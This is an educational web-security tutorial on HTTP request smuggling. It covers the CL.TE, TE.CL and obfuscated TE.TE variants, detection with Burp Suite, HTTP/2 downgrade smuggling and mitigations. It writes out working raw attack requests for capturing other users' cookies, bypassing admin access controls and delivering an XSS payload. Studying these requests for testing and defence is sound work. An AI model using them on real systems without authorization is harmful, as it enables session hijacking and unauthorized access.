Ethical Hacking #http-smuggling#web-security#burp-suite

HTTP Request Smuggling: CL.TE and TE.CL Attacks

Understand HTTP request smuggling: how CL.TE and TE.CL vulnerabilities work, how to detect them with Burp Suite, and their real-world security impact.

7 min read

HTTP Request Smuggling: A Deep-Dive Technical Guide

HTTP request smuggling is a vulnerability that arises when a front-end server (load balancer, CDN, reverse proxy) and a back-end server disagree on where one HTTP request ends and the next begins. The attacker exploits this disagreement to “smuggle” a partial request into the back-end’s queue, which is then prepended to the next legitimate user’s request — with powerful and often devastating consequences.

This technique was researched and popularized by James Kettle at PortSwigger, and PortSwigger’s Web Security Academy contains the most comprehensive lab environment for practicing it.

Legal notice: Only test for HTTP request smuggling against applications you own or have explicit written authorization to assess.

Background: How HTTP Defines Request Boundaries

HTTP/1.1 allows two mechanisms for indicating where a message body ends:

  1. Content-Length (CL): An integer header specifying the exact byte length of the body.
  2. Transfer-Encoding: chunked (TE): The body is sent in chunks, each prefixed with its size in hex. A final chunk of 0\r\n\r\n signals the end.

The HTTP/1.1 specification says if both headers are present, Transfer-Encoding takes precedence and Content-Length is ignored. However, not all server implementations follow this precisely — and that disagreement is the root of smuggling.

The Two Core Variants

CL.TE (Front-end uses Content-Length, Back-end uses Transfer-Encoding)

The front-end reads the full body based on Content-Length. The back-end processes chunks and stops at the 0 terminator — leaving the attacker’s appended data waiting in its buffer.

Vulnerable request:

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 49
Transfer-Encoding: chunked

e
SMUGGLED_BODY_\r\n
0

GET /admin HTTP/1.1
X-Ignore: x

Here, Content-Length: 49 covers the full body (including GET /admin...). The back-end processes the chunked body, stops at 0, and leaves GET /admin HTTP/1.1\r\nX-Ignore: x sitting in its input buffer — which gets prepended to the next request it receives.

TE.CL (Front-end uses Transfer-Encoding, Back-end uses Content-Length)

The opposite scenario: the front-end processes chunks, but the back-end uses Content-Length and reads only part of the body.

Vulnerable request:

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

The front-end sees the chunked body and passes it along. The back-end reads only 4 bytes (5c\r\n) based on Content-Length: 4, and leaves the rest buffered — which contaminates subsequent requests.

TE.TE (Obfuscated Transfer-Encoding)

Both servers support chunked encoding, but one can be fooled into ignoring the Transfer-Encoding header through obfuscation:

Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked, dechunk
Transfer-Encoding:  chunked   (with extra whitespace)
Transfer-Encoding: x
Transfer-encoding: chunked    (lowercase)
X-Transfer-Encoding: chunked  (custom header some proxies pass through)

If one server honors the obfuscated variant and the other ignores it, you effectively have a CL.TE or TE.CL scenario.

Detection with Burp Suite

Using the Repeater Method (Timing-Based)

Step 1: Turn off Burp’s automatic Content-Length update (Repeater > uncheck “Update Content-Length”).

Step 2: Send a CL.TE probe and look for a time delay. A delay suggests the back-end is waiting for the rest of a chunk:

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

If the response takes ~10 seconds (server timeout), the back-end is chunked-aware and waiting for more chunks after the incomplete X. This confirms CL.TE behavior.

Step 3: For TE.CL detection, send:

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

A delay here suggests TE.CL — the back-end is waiting for Content-Length: 6 bytes but only received 3.

HTTP Request Smuggler Extension

Install the HTTP Request Smuggler extension in Burp Suite (available via BApp Store):

  1. Right-click any request in Burp Proxy or Repeater
  2. Select Extensions > HTTP Request Smuggler > Smuggle Probe
  3. The extension automatically tests all variants (CL.TE, TE.CL, TE.TE) and reports findings

This is the fastest way to scan an application for smuggling vulnerabilities.

Exploitation: Capturing Another User’s Request

Once you confirm a CL.TE vulnerability, you can capture the next user’s full request (including their cookies and credentials) by smuggling a partial request that consumes their data:

POST / HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 303
Transfer-Encoding: chunked

0

POST /capture HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400

search=

The smuggled POST /capture has Content-Length: 400 but only provides search=. The remaining bytes are taken from the next victim’s request that arrives at the back-end — including their Cookie: header. Check the /capture endpoint’s stored data to retrieve it.

Exploitation: Bypassing Access Controls

If /admin is restricted to internal IPs, but the back-end trusts requests that appear to come from the front-end:

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

The back-end receives GET /admin appearing to originate from a local connection (the front-end), potentially bypassing IP-based restrictions.

Exploitation: Reflected XSS via Smuggling

Smuggling can turn a reflected XSS that only appears in obscure headers into one delivered to other users:

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 150
Transfer-Encoding: chunked

0

GET /xss HTTP/1.1
Host: vulnerable.com
X-Injected-Header: "><script>alert(document.cookie)</script>
Content-Length: 5

x=1

Real-World Impact

Impact CategoryExample
Session hijackingCapturing victim’s Cookie header
Access control bypassReaching admin endpoints as regular user
Cache poisoningPoisoning CDN cache with attacker-controlled response
Web cache deceptionTricking cache into storing sensitive pages
Request forgeryPerforming actions on behalf of other users

HTTP/2 Smuggling (H2.CL, H2.TE)

HTTP/2 does not use Content-Length or chunked encoding for framing — it uses binary frames. However, many front-ends downgrade HTTP/2 to HTTP/1.1 when talking to the back-end. If an attacker can inject HTTP/1.1 headers through HTTP/2 (which normally strips them), smuggling is possible.

Burp Suite’s HTTP/2 tab in Repeater allows sending raw HTTP/2 requests with manually specified pseudo-headers — essential for H2.CL testing.

Mitigation

FixDescription
Normalize requests at the edgeFront-end should rewrite/normalize headers before passing back
Disable Transfer-Encoding on back-endIf not needed, reject chunked encoding entirely
Use HTTP/2 end-to-endHTTP/2 binary framing eliminates CL/TE ambiguity
Keep servers synchronizedSame HTTP parsing library version on front and back-end
WAF rulesDetect and block requests with both CL and TE headers

Summary

HTTP request smuggling is a sophisticated vulnerability that requires deep understanding of HTTP parsing behavior. The core insight is that discrepancies between front-end and back-end implementations of Content-Length vs. Transfer-Encoding create a window for request queue manipulation. Burp Suite’s HTTP Request Smuggler extension makes detection practical, while the exploitation impact — from session hijacking to access control bypass — makes it a critical finding in any penetration test report.

#TE.CL #CL.TE #burp-suite #web-security #http-smuggling